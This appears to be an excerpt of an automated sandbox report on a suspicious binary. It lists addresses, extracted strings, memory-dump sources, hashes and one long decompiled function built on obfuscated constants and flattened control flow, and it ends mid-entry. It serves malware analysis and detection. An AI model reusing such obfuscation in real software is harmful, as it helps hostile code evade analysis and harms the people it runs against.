0x00db0ee8
0x00db0ef0
0x00db0efb
0x00db0f06
0x00db0f11
0x00db0f1c
0x00db0f27
0x00db0f2f
0x00db0f3a
0x00db0f45
0x00db0f50
0x00db0f5b
0x00db0f6e
0x00db0f75
0x00db0f80
0x00db0f8b
0x00db0f96
0x00db0fa1
0x00db0fb1
0x00db0fba
0x00db0fbe
0x00db0fc6
0x00db0fd1
0x00db0fdc
0x00db0fe7
0x00db0ffb
0x00db1002
0x00db100d
0x00db1018
0x00db1023
0x00db102e
0x00db1039
0x00db1044
0x00db104f
0x00db1057
0x00db1062
0x00db1075
0x00db107c
0x00db1087
0x00db1092
0x00db109d
0x00db10a8
0x00db10b3
0x00db10be
0x00db10c9
0x00db10d6
0x00db10e8
0x00db10ed
0x00db10f6
0x00db1101
0x00db110c
0x00db1117
0x00db1122
0x00db112d
0x00db1138
0x00db1143
0x00db114e
0x00db1159
0x00db1161
0x00db1169
0x00db1171
0x00db1179
0x00db1181
0x00db118c
0x00db1197
0x00db11a2
0x00db11ad
0x00db11c0
0x00db11c1
0x00db11c8
0x00db11d3
0x00db11de
0x00db11eb
0x00db11ef
0x00db11f7
0x00db11ff
0x00db1207
0x00db1212
0x00db121d
0x00db1228
0x00db123b
0x00db1242
0x00db124a
0x00db1255
0x00db125d
0x00db1265
0x00db126d
0x00db1275
0x00db127d
0x00db1285
0x00db128d
0x00db1295
0x00db129d
0x00db12a8
0x00db12b3
0x00db12be
0x00db12cc
0x00db12d0
0x00db12d8
0x00db12e0
0x00db12eb
0x00db12f3
0x00db12fe
0x00db1309
0x00db1311
0x00db131c
0x00db1327
0x00db132f
0x00db133a
0x00db1347
0x00db134b
0x00db1350
0x00db1358
0x00db1363
0x00db136e
0x00db1379
0x00db1384
0x00db138c
0x00db1391
0x00db139b
0x00db13a3
0x00db13ae
0x00db13b9
0x00db13c4
0x00db13d3
0x00db13d6
0x00db13da
0x00db13e2
0x00db13ea
0x00db13f2
0x00db13f7
0x00db13fc
0x00db1401
0x00db1409
0x00db1411
0x00db1421
0x00db1425
0x00db142a
0x00db1432
0x00db143a
0x00db143f
0x00db1447
0x00db144f
0x00db1457
0x00db145f
0x00db146b
0x00db1470
0x00db1476
0x00db147e
0x00db1486
0x00db148e
0x00db1496
0x00db14a3
0x00db14a6
0x00db14aa
0x00db14b2
0x00db14bd
0x00db14c8
0x00db14cf
0x00db14d7
0x00db14e2
0x00db14ee
0x00db14f1
0x00db14f5
0x00db14fa
0x00db1502
0x00db150a
0x00db150f
0x00db1517
0x00db151f
0x00db152a
0x00db1535
0x00db1540
0x00db1548
0x00db1550
0x00db1555
0x00db155d
0x00db1568
0x00db1573
0x00db157e
0x00db1586
0x00db1596
0x00db159b
0x00db15a0
0x00db15a6
0x00db15ae
0x00db15b6
0x00db15be
0x00db15c3
0x00db15cc
0x00db15cf
0x00db15d4
0x00db15d8
0x00db15e0
0x00db15e0
0x00db15e5
0x00db15ea
0x00db15ea
0x00db15ea
0x00db15ea
0x00db15ec
0x00000000
0x00000000
0x00db15f2
0x00db1804
0x00db180b
0x00db1817
0x00db1819
0x00db181e
0x00db1822
0x00db1827
0x00000000
0x00db15f8
0x00db15fe
0x00db17a2
0x00db17a7
0x00db17aa
0x00000000
0x00db1604
0x00db160a
0x00db177e
0x00000000
0x00db1610
0x00db1616
0x00db16d0
0x00db16d5
0x00db16e7
0x00db1731
0x00db174e
0x00db1751
0x00db176c
0x00db1771
0x00db1774
0x00db1934
0x00db1934
0x00db1938
0x00db193d
0x00db1942
0x00000000
0x00db161c
0x00db161e
0x00db1679
0x00db167a
0x00db167e
0x00db1682
0x00db1686
0x00db168d
0x00db169a
0x00db169b
0x00db16ac
0x00db16af
0x00db16b4
0x00db16b6
0x00db16b9
0x00db16b9
0x00000000
0x00db1620
0x00db1622
0x00000000
0x00db1628
0x00db1650
0x00db1657
0x00db1668
0x00db166c
0x00db1671
0x00000000
0x00db15e5
0x00db1622
0x00db161e
0x00db1616
0x00db160a
0x00db15fe
0x00db197c
0x00db1986
0x00db1986
0x00db182f
0x00db1835
0x00db18b6
0x00db18fd
0x00db1902
0x00db1910
0x00db1923
0x00db192d
0x00000000
0x00db1837
0x00db1837
0x00db183d
0x00db188e
0x00db188f
0x00db1894
0x00db1896
0x00db18a0
0x00000000
0x00db183f
0x00db183f
0x00db1841
0x00db1972
0x00db1847
0x00db1847
0x00db184d
0x00000000
0x00db1853
0x00db186d
0x00db1872
0x00db1875
0x00000000
0x00db1875
0x00db184d
0x00db1841
0x00db183d
0x00000000
0x00db1947
0x00db1947
0x00db1947
0x00000000
0x00db1953
0x00db15e5

Strings

Dh, xrefs: 00DB13AE
[jY9, xrefs: 00DB14AA
MN3, xrefs: 00DB15B6
lS, xrefs: 00DB0DC9
_|, xrefs: 00DB0F45
~6S, xrefs: 00DB0FBE
h, xrefs: 00DB0EB9
F>`, xrefs: 00DB118C
]), xrefs: 00DB0DB4
\ , xrefs: 00DB14BD
Vo, xrefs: 00DB157E

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Dh$F>`$MN3$[jY9$\ $_|$lS$~6S$Vo$])$h
API String ID: 0-4083489536
Opcode ID: 8e59ebd27b8fc9883c4c4180fc174d70df9c23a75041ad6220372b14ea37feb2
Instruction ID: 963cd76edf5bbed9234ae988ab7be9ad25a0bb05f61f71097be0dfdd3ec43e50
Opcode Fuzzy Hash: 8e59ebd27b8fc9883c4c4180fc174d70df9c23a75041ad6220372b14ea37feb2
Instruction Fuzzy Hash: 2E620E71508381CFD3B8CF65C58AA9BBBE2BBC4714F50891DE2DA86260D7B18949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00D93E3B, Relevance: 14.2, Strings: 11, Instructions: 427
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00D93E3B() {
				char _v520;
				char _v1040;
				char _v1560;
				signed int _v1564;
				intOrPtr _v1568;
				char _v1572;
				signed int _v1576;
				signed int _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				signed int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				signed int _v1724;
				signed int _v1728;
				signed int _v1732;
				signed int _v1736;
				signed int _v1740;
				void* _t475;
				void* _t476;
				void* _t483;
				intOrPtr* _t495;
				signed int _t498;
				intOrPtr* _t500;
				signed int _t501;
				signed int _t502;
				signed int _t503;
				signed int _t504;
				signed int _t505;
				signed int _t506;
				signed int _t507;
				signed int _t508;
				signed int _t509;
				signed int _t510;
				signed int _t511;
				signed int _t512;
				signed int _t513;
				signed int _t514;
				signed int _t515;
				signed int _t516;
				signed int _t517;
				void* _t518;
				void* _t520;
				void* _t578;
				signed int* _t583;

				_t583 =  &_v1740;
				_v1568 = 0xf4c82e;
				_v1564 = 0;
				_v1616 = 0x7c462e;
				_v1576 = 0;
				_t578 = 0xb4e665b;
				_t501 = 0x2f;
				_v1616 = _v1616 / _t501;
				_v1616 = _v1616 | 0xe5144df6;
				_v1616 = _v1616 ^ 0xe516edde;
				_v1640 = 0xf648e5;
				_v1640 = _v1640 << 5;
				_v1640 = _v1640 | 0xd0c65f8c;
				_v1640 = _v1640 ^ 0x5ecf5fad;
				_v1672 = 0x45ee00;
				_t502 = 0x77;
				_v1672 = _v1672 / _t502;
				_v1672 = _v1672 | 0xf06707b6;
				_v1672 = _v1672 ^ 0xf06797fd;
				_v1700 = 0xea4f48;
				_v1700 = _v1700 + 0x6269;
				_v1700 = _v1700 + 0xffff8cfc;
				_v1700 = _v1700 + 0x3e5e;
				_v1700 = _v1700 ^ 0x00ea7d0a;
				_v1612 = 0xe88c42;
				_v1612 = _v1612 << 0xf;
				_v1612 = _v1612 ^ 0x4622b37f;
				_v1692 = 0x24d80;
				_t503 = 0x43;
				_v1692 = _v1692 * 0x59;
				_v1692 = _v1692 ^ 0xe0926b83;
				_v1692 = _v1692 + 0x5a69;
				_v1692 = _v1692 ^ 0xe05a8f60;
				_v1732 = 0x434204;
				_v1732 = _v1732 / _t503;
				_v1732 = _v1732 ^ 0x5a31263e;
				_v1732 = _v1732 >> 2;
				_v1732 = _v1732 ^ 0x16898105;
				_v1708 = 0x1ae525;
				_v1708 = _v1708 + 0x5b0;
				_t504 = 0x4d;
				_v1708 = _v1708 / _t504;
				_v1708 = _v1708 + 0xfe9;
				_v1708 = _v1708 ^ 0x000e43f2;
				_v1644 = 0x901f25;
				_v1644 = _v1644 + 0xffff2dc4;
				_t505 = 0x3d;
				_v1644 = _v1644 / _t505;
				_v1644 = _v1644 ^ 0x00024b56;
				_v1580 = 0x5c4edc;
				_v1580 = _v1580 ^ 0xe13f7f20;
				_v1580 = _v1580 ^ 0xe1618c1f;
				_v1584 = 0x21a5f1;
				_v1584 = _v1584 + 0xffff31e6;
				_v1584 = _v1584 ^ 0x002f4f1b;
				_v1664 = 0x8f6d68;
				_t506 = 0x74;
				_v1664 = _v1664 * 0x12;
				_v1664 = _v1664 << 0xd;
				_v1664 = _v1664 ^ 0xb6270455;
				_v1668 = 0x1fe57f;
				_v1668 = _v1668 << 7;
				_v1668 = _v1668 * 0x26;
				_v1668 = _v1668 ^ 0x5e099b11;
				_v1676 = 0x17d12;
				_v1676 = _v1676 + 0xffff8639;
				_v1676 = _v1676 + 0x2710;
				_v1676 = _v1676 ^ 0x000f3b80;
				_v1620 = 0xbe2f7a;
				_v1620 = _v1620 + 0xffffd1d1;
				_v1620 = _v1620 / _t506;
				_v1620 = _v1620 ^ 0x0004c798;
				_v1684 = 0xccb500;
				_t507 = 0xe;
				_v1684 = _v1684 / _t507;
				_t508 = 0x25;
				_v1684 = _v1684 / _t508;
				_v1684 = _v1684 >> 1;
				_v1684 = _v1684 ^ 0x0004e54a;
				_v1716 = 0x1281ad;
				_v1716 = _v1716 << 4;
				_v1716 = _v1716 | 0x35eb381e;
				_v1716 = _v1716 ^ 0x661831c8;
				_v1716 = _v1716 ^ 0x53f42a5f;
				_v1736 = 0xc42e7a;
				_v1736 = _v1736 | 0xac555f80;
				_v1736 = _v1736 ^ 0xdad5f6d1;
				_v1736 = _v1736 ^ 0x07b51a8c;
				_v1736 = _v1736 ^ 0x71b457e1;
				_v1740 = 0x58cdf0;
				_t509 = 0x4e;
				_v1740 = _v1740 / _t509;
				_t510 = 0x7c;
				_v1740 = _v1740 / _t510;
				_v1740 = _v1740 + 0xffff7d2e;
				_v1740 = _v1740 ^ 0xfffa0866;
				_v1656 = 0xab20b7;
				_v1656 = _v1656 + 0xffff4ec7;
				_v1656 = _v1656 >> 0xa;
				_v1656 = _v1656 ^ 0x000ac3bb;
				_v1648 = 0x73aeba;
				_v1648 = _v1648 ^ 0x5c536f7b;
				_v1648 = _v1648 >> 3;
				_v1648 = _v1648 ^ 0x0b822968;
				_v1728 = 0x2b315e;
				_t511 = 0x71;
				_v1728 = _v1728 * 0x14;
				_v1728 = _v1728 / _t511;
				_v1728 = _v1728 << 2;
				_v1728 = _v1728 ^ 0x00117be2;
				_v1624 = 0xf38d74;
				_v1624 = _v1624 + 0xffff2ff7;
				_v1624 = _v1624 << 8;
				_v1624 = _v1624 ^ 0xf2b4886e;
				_v1632 = 0x26049;
				_t512 = 0x38;
				_v1632 = _v1632 / _t512;
				_v1632 = _v1632 ^ 0xbad4e020;
				_v1632 = _v1632 ^ 0xbadec9c6;
				_v1712 = 0x2271e9;
				_v1712 = _v1712 + 0xfffffef4;
				_v1712 = _v1712 ^ 0x94302fc7;
				_t513 = 0x21;
				_v1712 = _v1712 * 0x4d;
				_v1712 = _v1712 ^ 0x8983a5b9;
				_v1720 = 0xf256ae;
				_v1720 = _v1720 ^ 0x6b661a38;
				_v1720 = _v1720 * 0x71;
				_v1720 = _v1720 / _t513;
				_v1720 = _v1720 ^ 0x03c0f16f;
				_v1596 = 0xcd00ac;
				_v1596 = _v1596 + 0x3459;
				_v1596 = _v1596 ^ 0x00cb1f3a;
				_v1588 = 0x5c0348;
				_t514 = 0x54;
				_v1588 = _v1588 * 7;
				_v1588 = _v1588 ^ 0x02813856;
				_v1696 = 0xbbab01;
				_v1696 = _v1696 + 0xffffd343;
				_v1696 = _v1696 >> 5;
				_v1696 = _v1696 / _t514;
				_v1696 = _v1696 ^ 0x00097c64;
				_v1608 = 0x3d653b;
				_t515 = 9;
				_v1608 = _v1608 / _t515;
				_v1608 = _v1608 ^ 0x0008d29b;
				_v1704 = 0xea48bf;
				_v1704 = _v1704 << 1;
				_v1704 = _v1704 | 0x6dbc893f;
				_v1704 = _v1704 << 0xf;
				_v1704 = _v1704 ^ 0x4cb93698;
				_v1592 = 0x60e14f;
				_v1592 = _v1592 + 0xffffa0eb;
				_v1592 = _v1592 ^ 0x006da1fe;
				_v1660 = 0xb84cd6;
				_v1660 = _v1660 << 0xe;
				_v1660 = _v1660 | 0xae469af4;
				_v1660 = _v1660 ^ 0xbf747a00;
				_v1628 = 0x2ae679;
				_v1628 = _v1628 + 0xffffe76d;
				_v1628 = _v1628 + 0xffff966a;
				_v1628 = _v1628 ^ 0x002af9b0;
				_v1600 = 0x5dc215;
				_v1600 = _v1600 + 0xffff301b;
				_v1600 = _v1600 ^ 0x00549305;
				_v1652 = 0xe3917b;
				_v1652 = _v1652 << 0xd;
				_v1652 = _v1652 ^ 0xb15aed13;
				_v1652 = _v1652 ^ 0xc37cfd68;
				_v1636 = 0xa59055;
				_v1636 = _v1636 + 0xffffdd12;
				_v1636 = _v1636 ^ 0x00a1f596;
				_v1724 = 0xf0f3b7;
				_v1724 = _v1724 << 0xb;
				_t516 = 0x55;
				_v1724 = _v1724 / _t516;
				_v1724 = _v1724 ^ 0x0c3c14bd;
				_v1724 = _v1724 ^ 0x0da6b3ec;
				_v1604 = 0x70e6ad;
				_t517 = 0x33;
				_t498 = _v1576;
				_v1604 = _v1604 / _t517;
				_v1604 = _v1604 ^ 0x0001b026;
				_v1680 = 0x336eab;
				_v1680 = _v1680 + 0x2490;
				_v1680 = _v1680 + 0xffffdec5;
				_v1680 = _v1680 | 0xc166c96f;
				_v1680 = _v1680 ^ 0xc1736b65;
				_v1688 = 0x11f1a3;
				_v1688 = _v1688 * 0x68;
				_v1688 = _v1688 + 0xffffb309;
				_v1688 = _v1688 + 0xed48;
				_v1688 = _v1688 ^ 0x074f9ff6;
				while(1) {
					L1:
					_t518 = 0x5c;
					while(1) {
						L2:
						_t475 = 0x8f5cf45;
						do {
							L3:
							if(_t578 == 0xb6e718) {
								_t476 = E00DB0AD3(_v1648, _v1728, __eflags);
								_t520 = 0xd9149c;
								__eflags = E00D92089(_v1672, _v1624, _t520, _v1632, _v1712, _v1720, _t520,  &_v1572, _t520, _t520, _v1596, _v1640, _v1588, _t476);
								_t578 =  ==  ? 0x8f5cf45 : 0xf961a4b;
								E00DA2EED(_v1696, _v1608, _v1704, _t476);
								_t583 =  &(_t583[0xf]);
								_t475 = 0x8f5cf45;
								_t518 = 0x5c;
								goto L17;
							} else {
								if(_t578 == 0x2411a89) {
									E00DB2A25(_v1604, _v1680, _v1572, _v1688);
								} else {
									if(_t578 == 0x2d3ef18) {
										_push(0xd9144c);
										_t483 = E00DB0AD3(_v1580, _v1584, __eflags);
										E00DB2C16( &_v520, __eflags);
										E00DAB062( &_v1560, __eflags,  *0xdb5bd8 + 0x238, _v1668, _v1676, _t483, _v1620, 0x104, _v1684,  *0xdb5bd8 + 0x30,  &_v520,  &_v1040, _v1716);
										E00DA2EED(_v1736, _v1740, _v1656, _t483);
										_t583 =  &(_t583[0xe]);
										_t578 = 0x4a5ec26;
										goto L1;
									} else {
										if(_t578 == 0x4a5ec26) {
											_t500 =  *0xdb5bd8 + 0x30;
											while(1) {
												__eflags =  *_t500 - _t518;
												if(__eflags == 0) {
													break;
												}
												_t500 = _t500 + 2;
												__eflags = _t500;
											}
											_t498 = _t500 + 2;
											_t578 = 0xb6e718;
											goto L2;
										} else {
											if(_t578 == _t475) {
												_t495 = E00DA39E4(_v1600, _v1652, _v1572, _v1636, 2 + E00D9F14F(_v1592,  &_v1560, _v1660, _v1628) * 2,  &_v1560, _v1700, _v1724, _t498);
												_t583 =  &(_t583[0xa]);
												__eflags = _t495;
												_t578 = 0x2411a89;
												_v1576 = 0 | __eflags == 0x00000000;
												while(1) {
													L1:
													_t518 = 0x5c;
													goto L2;
												}
											} else {
												if(_t578 != 0xb4e665b) {
													goto L17;
												} else {
													_push(_t518);
													E00D9E259(_v1612, _v1616, _v1692, _v1732, _t518, _t518,  &_v1040, _v1708, _v1644);
													_t583 =  &(_t583[8]);
													_t578 = 0x2d3ef18;
													while(1) {
														L1:
														_t518 = 0x5c;
														L2:
														_t475 = 0x8f5cf45;
														goto L3;
													}
												}
											}
										}
									}
								}
							}
							L20:
							return _v1576;
							L17:
							__eflags = _t578 - 0xf961a4b;
						} while (__eflags != 0);
						goto L20;
					}
				}
			}

0x00d93e3b
0x00d93e41
0x00d93e4e
0x00d93e57
0x00d93e63
0x00d93e6a
0x00d93e78
0x00d93e7d
0x00d93e86
0x00d93e91
0x00d93e9c
0x00d93ea4
0x00d93ea9
0x00d93eb1
0x00d93eb9
0x00d93ec5
0x00d93eca
0x00d93ed0
0x00d93ed8
0x00d93ee0
0x00d93ee8
0x00d93ef0
0x00d93ef8
0x00d93f00
0x00d93f08
0x00d93f13
0x00d93f1b
0x00d93f26
0x00d93f33
0x00d93f36
0x00d93f3a
0x00d93f42
0x00d93f4a
0x00d93f52
0x00d93f62
0x00d93f66
0x00d93f6e
0x00d93f73
0x00d93f7b
0x00d93f83
0x00d93f8f
0x00d93f94
0x00d93f9a
0x00d93fa2
0x00d93faa
0x00d93fb2
0x00d93fbe
0x00d93fc1
0x00d93fc5
0x00d93fcd
0x00d93fd8
0x00d93fe3
0x00d93fee
0x00d93ff9
0x00d94004
0x00d9400f
0x00d94020
0x00d94023
0x00d94027
0x00d9402c
0x00d94034
0x00d9403c
0x00d94046
0x00d9404a
0x00d94052
0x00d9405a
0x00d94062
0x00d9406a
0x00d94072
0x00d9407d
0x00d94093
0x00d9409a
0x00d940a5
0x00d940b1
0x00d940b6
0x00d940c0
0x00d940c5
0x00d940cb
0x00d940cf
0x00d940d7
0x00d940df
0x00d940e4
0x00d940ec
0x00d940f4
0x00d940fc
0x00d94104
0x00d9410c
0x00d94114
0x00d9411c
0x00d94124
0x00d94130
0x00d94135
0x00d9413f
0x00d94144
0x00d9414a
0x00d94152
0x00d9415a
0x00d94162
0x00d9416a
0x00d9416f
0x00d94177
0x00d9417f
0x00d94187
0x00d9418c
0x00d94194
0x00d941a1
0x00d941a2
0x00d941ac
0x00d941b0
0x00d941b5
0x00d941bd
0x00d941ca
0x00d941d5
0x00d941dd
0x00d941e8
0x00d941f6
0x00d941fb
0x00d94204
0x00d9420f
0x00d9421a
0x00d94222
0x00d9422a
0x00d94237
0x00d9423a
0x00d9423e
0x00d94246
0x00d9424e
0x00d9425b
0x00d94267
0x00d9426b
0x00d94273
0x00d9427e
0x00d94289
0x00d94294
0x00d942a7
0x00d942aa
0x00d942b1
0x00d942bc
0x00d942c4
0x00d942cc
0x00d942d9
0x00d942dd
0x00d942e5
0x00d942f7
0x00d942fa
0x00d94301
0x00d9430c
0x00d94314
0x00d94318
0x00d94320
0x00d94325
0x00d9432d
0x00d94338
0x00d94343
0x00d9434e
0x00d94356
0x00d9435b
0x00d94363
0x00d9436b
0x00d94376
0x00d94381
0x00d9438c
0x00d94397
0x00d943a2
0x00d943ad
0x00d943b8
0x00d943c0
0x00d943c5
0x00d943cd
0x00d943d5
0x00d943e5
0x00d943ef
0x00d943fc
0x00d94404
0x00d9440f
0x00d94414
0x00d9441a
0x00d94422
0x00d9442a
0x00d9443c
0x00d9443f
0x00d94446
0x00d9444d
0x00d94458
0x00d94460
0x00d94468
0x00d94470
0x00d94478
0x00d94480
0x00d9448d
0x00d94491
0x00d94499
0x00d944a1
0x00d944a9
0x00d944a9
0x00d944ab
0x00d944ac
0x00d944ac
0x00d944ac
0x00d944b1
0x00d944b1
0x00d944b3
0x00d94661
0x00d94666
0x00d946aa
0x00d946c6
0x00d946c9
0x00d946ce
0x00d946d1
0x00d946d8
0x00000000
0x00d944b9
0x00d944bf
0x00d946fd
0x00d944c5
0x00d944cb
0x00d945c3
0x00d945c8
0x00d945d6
0x00d9462d
0x00d94642
0x00d94647
0x00d9464a
0x00000000
0x00d944d1
0x00d944d7
0x00d9459e
0x00d945a6
0x00d945a6
0x00d945a9
0x00000000
0x00000000
0x00d945a3
0x00d945a3
0x00d945a3
0x00d945ab
0x00d945ae
0x00000000
0x00d944dd
0x00d944df
0x00d94578
0x00d9457f
0x00d94582
0x00d94584
0x00d9458c
0x00d944a9
0x00d944a9
0x00d944ab
0x00000000
0x00d944ab
0x00d944e1
0x00d944e7
0x00000000
0x00d944ed
0x00d944ed
0x00d94516
0x00d9451b
0x00d9451e
0x00d944a9
0x00d944a9
0x00d944ab
0x00d944ac
0x00d944ac
0x00000000
0x00d944ac
0x00d944a9
0x00d944e7
0x00d944df
0x00d944d7
0x00d944cb
0x00d944bf
0x00d94704
0x00d94715
0x00d946d9
0x00d946d9
0x00d946d9
0x00000000
0x00d946e5
0x00d944ac

Strings

.F|, xrefs: 00D93E57
y*, xrefs: 00D9436B
>&1Z, xrefs: 00D93F66
q", xrefs: 00D9421A
H, xrefs: 00D94499
{oS\, xrefs: 00D9417F
}, xrefs: 00D93F00
O`, xrefs: 00D9432D
d|, xrefs: 00D942DD
;e=, xrefs: 00D942E5
^1+, xrefs: 00D94194

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: }$.F|$;e=$>&1Z$H$O`$^1+$d|$y*${oS\$q"
API String ID: 0-1245192883
Opcode ID: d129d76bcbb687cc7a453b4a981d7f98c97ab904b49b6f599364029f02e20bb4
Instruction ID: cd49976dd8f5d52070087d9b0ff0a0f431a7047d7a199fe7e40c077b6da96030
Opcode Fuzzy Hash: d129d76bcbb687cc7a453b4a981d7f98c97ab904b49b6f599364029f02e20bb4
Instruction Fuzzy Hash: FC221171508380DFE368CF25C98AA5BBBE2FBC5754F10890DF299862A0D7B59949CF13

Uniqueness

Uniqueness Score: -1.00%

Function 6E924610, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918A1F

GetACP.KERNEL32(00000055,?,?,?,?,?,6E919DCB,?,?,?,?,?,?,00000004), ref: 6E9246D1
IsValidCodePage.KERNEL32(00000000,00000055,?,?,?,?,?,6E919DCB,?,?,?,?,?,?,00000004), ref: 6E9246FC
_wcschr.LIBVCRUNTIME ref: 6E924790
_wcschr.LIBVCRUNTIME ref: 6E92479E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6E919DCB,00000000,6E919EEB), ref: 6E924861

Strings

utf8, xrefs: 6E9247CE

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: b91ebcfdfbd46b9d4d23b4bffc757b2f1214c6e0d7c2e36cb2dab29af7a672f1
Instruction ID: a4b4b0d85ae09f5f1d85f93ea25cb50267942f74b4731b7130fd1367ce54160b
Opcode Fuzzy Hash: b91ebcfdfbd46b9d4d23b4bffc757b2f1214c6e0d7c2e36cb2dab29af7a672f1
Instruction Fuzzy Hash: CA710771624606AEEF149BB5DC41BE673ACEF99704F104839E519DB188EB70D8428FA0

Uniqueness

Uniqueness Score: -1.00%

Function 00DAD5FE, Relevance: 10.6, Strings: 8, Instructions: 608COMMON

Download Yara Rule

Strings

qu, xrefs: 00DADABB
D.I, xrefs: 00DADCE2
EI, xrefs: 00DAD642
qeV, xrefs: 00DADA47
W9X, xrefs: 00DAD7A6
rlg, xrefs: 00DAD857
e_, xrefs: 00DADD84
w], xrefs: 00DADF57

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: D.I$EI$W9X$qeV$qu$rlg$w]$e_
API String ID: 0-1297867753
Opcode ID: a7206c88e00ba31594567a0ae0e5608cee6edeaed2e92a3ef3cf0cecfe48b487
Instruction ID: ea84cbf208c3e1b4f1bcc67cd1479185b9da53f16c4d968415eaf88353af8eea
Opcode Fuzzy Hash: a7206c88e00ba31594567a0ae0e5608cee6edeaed2e92a3ef3cf0cecfe48b487
Instruction Fuzzy Hash: F56200715083809FE378CF25C48AB9BBBE1BBC5318F10891DE5D996260D7B49949CF63

Uniqueness

Uniqueness Score: -1.00%

Function 00D9E6FD, Relevance: 10.4, Strings: 8, Instructions: 363COMMON

Download Yara Rule

Strings

K:aI, xrefs: 00D9E7D2
)On, xrefs: 00D9EA3D
,C:, xrefs: 00D9ED25
_, xrefs: 00D9E919
OVTV, xrefs: 00D9E9F5
]M, xrefs: 00D9E824
T>(, xrefs: 00D9EBDF
}mZc, xrefs: 00D9EA93

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: )On$,C:$K:aI$OVTV$T>($_$}mZc$]M
API String ID: 0-4112715058
Opcode ID: 7b26626a1ecc02f107770a11b33a3122e095df10c407b3a1fac0c2755a18f4c5
Instruction ID: c2c51a75b6b1f9a03985095b2941484d803b58020c6489625040db9f14a05dc2
Opcode Fuzzy Hash: 7b26626a1ecc02f107770a11b33a3122e095df10c407b3a1fac0c2755a18f4c5
Instruction Fuzzy Hash: CE12F1725083819FD368CF65C48AA9BFBE1FBC5348F10891DE1DA96260D7B18549CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00D94716, Relevance: 10.4, Strings: 8, Instructions: 354COMMON

Download Yara Rule

Strings

K|, xrefs: 00D94B37
0C{, xrefs: 00D94B3F
E, xrefs: 00D94C36
:=Z, xrefs: 00D9483D
aP-S, xrefs: 00D94C2E
K|, xrefs: 00D94726
g, xrefs: 00D94898
34, xrefs: 00D94916

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: E$0C{$34$:=Z$K|$K|$aP-S$g
API String ID: 0-2882036941
Opcode ID: 00df621952da6bbdaf52aef4b79f51281943fd8e2e5171ae42bfbececae089ef
Instruction ID: 169a72e5abdeaf8701f12f64817991a417408b5f24c7ffe191385fc06400080d
Opcode Fuzzy Hash: 00df621952da6bbdaf52aef4b79f51281943fd8e2e5171ae42bfbececae089ef
Instruction Fuzzy Hash: 0412007250D3819FD3A8CF65C58AA8BBBE2FBD5748F10891CE1D986260D7B18949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 00DA89DA, Relevance: 10.3, Strings: 8, Instructions: 318COMMON

Download Yara Rule

Strings

B1i, xrefs: 00DA8C5E
K_c, xrefs: 00DA8B92
w/, xrefs: 00DA8B5B
iaa, xrefs: 00DA8C87
g;X, xrefs: 00DA8D41
,<, xrefs: 00DA8C66
2, xrefs: 00DA8D07
p+, xrefs: 00DA8D71

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ,<$B1i$K_c$g;X$iaa$p+$w/$2
API String ID: 0-2198714066
Opcode ID: a301b72e2da8fa089423b8b0e80209f6370a3fe6de2a17f3c3787951809f7df3
Instruction ID: 2f3f2f8617b28d47fcb1a9cdb29a8bed4dfacb22f9fcf1aa8963738cef1ab645
Opcode Fuzzy Hash: a301b72e2da8fa089423b8b0e80209f6370a3fe6de2a17f3c3787951809f7df3
Instruction Fuzzy Hash: 24F13F715083409FD368CF26C88AA5BBBF1FBC4758F10891DF6AA86260D7B58909CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00D9B7EC, Relevance: 10.3, Strings: 8, Instructions: 309COMMON

Download Yara Rule

Strings

rpJ, xrefs: 00D9B865
`8, xrefs: 00D9B8A6
q6h, xrefs: 00D9BB01
eg, xrefs: 00D9BB43
b:, xrefs: 00D9B882
zk, xrefs: 00D9B92E
P@F, xrefs: 00D9BBA7
'~, xrefs: 00D9B9A4

Memory Dump Source

